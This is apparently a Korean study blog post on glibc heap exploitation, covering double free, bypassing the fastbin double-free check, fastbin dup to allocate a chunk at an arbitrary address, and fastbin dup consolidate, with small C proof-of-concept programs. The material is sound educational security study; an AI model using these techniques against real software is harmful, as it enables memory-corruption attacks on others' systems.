새소식

인기 검색어

Hacking/System

Double Free

  • -
반응형

Double Free

double free는 같은 chunk를 연속으로 두 번 해제할 때 생기는 버그이다.

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int main()
{
        char *ptr = malloc(0x20);
        char *ptr1 = malloc(0x20);

        free(ptr);
        free(ptr);
        return 0;
}

동적으로 ptr을 할당하고 연속으로 2번 free 하면 double free bug가 발생한다.

double free를 체크하는 함수는 위 사진과 같다.

이전에 해제한 pointer와 현재 해제하려는 pointer가 같으면 double free를 발생시킨다.

이 부분을 우회할 수 있는데 old ptr와 p ptr을 다르게 만들면 된다.

어떤 식으로 가능할까??

 

방법은 간단하다.

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int main()
{
        char *ptr = malloc(0x20);
        char *ptr1 = malloc(0x20);

        free(ptr);
        free(ptr1);
        free(ptr);
        return 0;
}

단순히 ptr1을 사이에 추가하면 된다.

그러면 old == ptr1, p == ptr을 가리키면서 검증을 우회할 수 있다.

두 번째 free(ptr)을 실행한 시점에서 heapinfo를 보면 fastbin에 0x602000이 두 번 들어가 있는 것을 확인할 수 있다.

이러한 버그를 악용하여 chunk를 조작해 보자


Fastbin dup

fastbin dup는 double free bug를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 힙청크를 다시 할당하는 기법이다.

이를 이용하면 fastbin의 FD를 조작하여 임의 주소에 힙 청크를 할당할 수 있다.

fastbin의 크기를 가진 힙을 할당할 때 특정 조건을 만족해야 한다.

chunksize를 이용하여 할당 요청이 들어온 주소의 힙 청크 사이즈가 fastbin과 일치하는지 확인한다.


Fastbin exploit example

모든 fastbin exploit의 예제는 https://learn.dreamhack.io/16#30로 하겠다.

 

#include <stdlib.h>
#include <stdio.h>

long win;
int main()
{
        long *ptr1, *ptr2, *ptr3, *ptr4;

        *(&win - 1) = 0x31;

        ptr1 = malloc(0x20);
        ptr2 = malloc(0x20);

        free(ptr1);
        free(ptr2);
        free(ptr1);

        ptr1 = malloc(0x20);
        ptr2 = malloc(0x20);

        ptr1[0] = &win - 2;

        ptr3 = malloc(0x20);
        ptr4 = malloc(0x20);

        ptr4[0] = 1;

        if(win) {
                printf("Win!\n");
        }
        return 0;
}

double free 직후 fastbin 상태이다.

double free bug 때문에 fastbin에 0x602000 chunk가 중복으로 담겨 있다.

ptr1의 chunk를 확인해 보면 ptr1의 fd에는 ptr2의 chunk주소가 들어가 있고, ptr2 chunk에는 ptr1의 chunk주소가 들어가 있는 것을 확인할 수 있다.

win 전역함수를 이용하여 fake chunk를 만든다. &win-1에 fastbin 조건에 만족하는 크기를 넣음으로써 해당 조건을 만족하게 만든다.

ptr[0]에 &win-2를 대입하면서 fastbin의 fd를 조작한다.

그러면 ptr1의 fd가 바뀌면서 fastbin 또한 0x601040이 추가된다.

그림으로 나타내면 free 된 ptr1과 ptr2가 왼쪽 chunk와 같다. 다시 malloc을 받아도, 서로의 주소를 가리키고 있기 때문에 fastbin의 위치는 화살표 위치이지만 계속 반복되는 것을 확인할 수 있다.

ptr1의 fd를 변경하면 변경된 주소로 fastbin이 가리키게 되고 결국 그림과 같은 linkedlist가 형성된다.

그러면 ptr3은 malloc을 하면 0x602000 chunk를 가지게 되고, ptr4는 0x601040 chunk를 가지게 된다. 이 주소는 &win-2 주소로 실제 data는 win을 가진다. 

그래서 if문에 참이 되어서 Win! 이 나온다.


Fastbin dup consolidate

fastbin dup consolidate는 fastbin에 들어간 힙 청크를 병합시켜 smallbin에 넣어 double free를 우회하는 기법이다. 

smallbin에 들어간 fastbin 크기의 힙 청크를 한 번 더 해제하면 다시 fastbin에 들어가기 때문에 검증을 우회할 수 있다.

malloc 내부 코드를 보면 largebin 크기의 할당 요청이 들어올 때 have_fastchhunks를 통해 fastbin에 할당된 chunk가 있는지 확인하고 존재하면 malloc_consolidate를 통해 해당 청크들을 병합한다.

include<stdio.h>
#include<stdlib.h>

int main(){
        long *ptr1, *ptr2, *ptr3, *ptr4;

        ptr1 = malloc(0x20);
        ptr2 = malloc(0x20);
        free(ptr1);

        ptr3 = malloc(0x400);
        free(ptr1);

        ptr1 = malloc(0x20);
        ptr4 = malloc(0x20);

        printf("ptr1: %p\n", ptr1);
        printf("ptr4: %p\n", ptr4);
        return 0;
}

첫 번째 free(ptr1)을 했을 때 ptr1의 주소는 fastbin에 들어간다. 그 이후 largebin 크기만큼의 malloc을 할당했을 때 fastbin에 smallbin으로 병합되는 것을 확인할 수 있다. 그러고 나서 다시 free(ptr1)을 하면 fastbin에 ptr1주소가 들어가는 것을 확인할 수 있다.

그 상태에서 똑같은 크기의 힙을 두 번 할당하면 ptr1은 fastbin에 들어간 주소 먼저 가져오고 ptr4는 smallbin에 있는 주소를 가져온다. 그래서 같은 힙영역을 가리킨다.

반응형

'Hacking > System' 카테고리의 다른 글

Master Canary  (0) 2023.08.22
Calling Convention  (0) 2023.08.21
unsorted bin attack  (0) 2023.05.30
Unsafe unlink  (0) 2023.05.23
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.